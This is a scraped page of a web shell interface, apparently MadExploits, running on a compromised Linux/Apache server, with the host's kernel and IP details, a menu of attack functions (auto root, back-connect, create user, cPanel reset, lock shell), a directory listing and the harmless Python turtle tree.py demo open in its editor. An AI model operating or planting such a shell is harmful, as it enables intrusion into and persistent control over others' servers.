Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.133.124.161
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
python35 /
lib /
python3.5 /
turtledemo /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
314
B
-rw-r--r--
__main__.py
13.95
KB
-rw-r--r--
bytedesign.py
4.14
KB
-rwxr-xr-x
chaos.py
951
B
-rw-r--r--
clock.py
3.13
KB
-rwxr-xr-x
colormixer.py
1.31
KB
-rw-r--r--
forest.py
2.88
KB
-rwxr-xr-x
fractalcurves.py
3.38
KB
-rwxr-xr-x
lindenmayer.py
2.38
KB
-rwxr-xr-x
minimal_hanoi.py
2
KB
-rwxr-xr-x
nim.py
6.36
KB
-rw-r--r--
paint.py
1.26
KB
-rwxr-xr-x
peace.py
1.04
KB
-rwxr-xr-x
penrose.py
3.46
KB
-rwxr-xr-x
planet_and_moon.py
2.78
KB
-rwxr-xr-x
round_dance.py
1.76
KB
-rw-r--r--
sorting_animate.py
4.93
KB
-rw-r--r--
tree.py
1.39
KB
-rwxr-xr-x
turtle.cfg
160
B
-rw-r--r--
two_canvases.py
1.09
KB
-rwxr-xr-x
wikipedia.py
1.32
KB
-rw-r--r--
yinyang.py
821
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tree.py
#!/usr/bin/env python3 """ turtle-example-suite: tdemo_tree.py Displays a 'breadth-first-tree' - in contrast to the classical Logo tree drawing programs, which use a depth-first-algorithm. Uses: (1) a tree-generator, where the drawing is quasi the side-effect, whereas the generator always yields None. (2) Turtle-cloning: At each branching point the current pen is cloned. So in the end there are 1024 turtles. """ from turtle import Turtle, mainloop from time import clock def tree(plist, l, a, f): """ plist is list of pens l is length of branch a is half of the angle between 2 branches f is factor by which branch is shortened from level to level.""" if l > 3: lst = [] for p in plist: p.forward(l) q = p.clone() p.left(a) q.right(a) lst.append(p) lst.append(q) for x in tree(lst, l*f, a, f): yield None def maketree(): p = Turtle() p.setundobuffer(None) p.hideturtle() p.speed(0) p.getscreen().tracer(30,0) p.left(90) p.penup() p.forward(-210) p.pendown() t = tree([p], 200, 65, 0.6375) for x in t: pass print(len(p.getscreen().turtles())) def main(): a=clock() maketree() b=clock() return "done: %.2f sec." % (b-a) if __name__ == "__main__": msg = main() print(msg) mainloop()
Close